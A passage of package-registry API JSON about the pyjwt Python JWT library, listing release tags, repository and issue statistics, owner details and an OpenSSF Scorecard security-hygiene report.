ownload_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.966Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":14.555339009129142,"stargazers_count":1.9078879885116422,"forks_count":1.9796902246384245,"average":4.610729305569802},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.9","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.9","url":"https://pkgs.alpinelinux.org/packages?branch=v3.9","ecosystem":"alpine","default":false,"packages_count":9749,"maintainers_count":154,"namespaces_count":2,"keywords_count":832,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":356},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.805Z","updated_at":"2026-06-10T05:12:00.044Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/namespaces"}},{"id":13198089,"name":"python311Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T00:35:58.093Z","latest_release_published_at":"2026-02-02T00:35:58.093Z","latest_release_number":"2.8.0","last_synced_at":"2026-05-11T17:12:00.952Z","created_at":"2026-02-02T00:35:52.052Z","updated_at":"2026-05-29T04:00:36.087Z","registry_url":"https://search.nixos.org/packages?channel=24.05\u0026query=python311Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python311Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/development/python-modules/pyjwt/default.nix#L58","metadata":{"nix_attribute":"python3.11-pyjwt-2.8.0","position":"pkgs/development/python-modules/pyjwt/default.nix:58","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.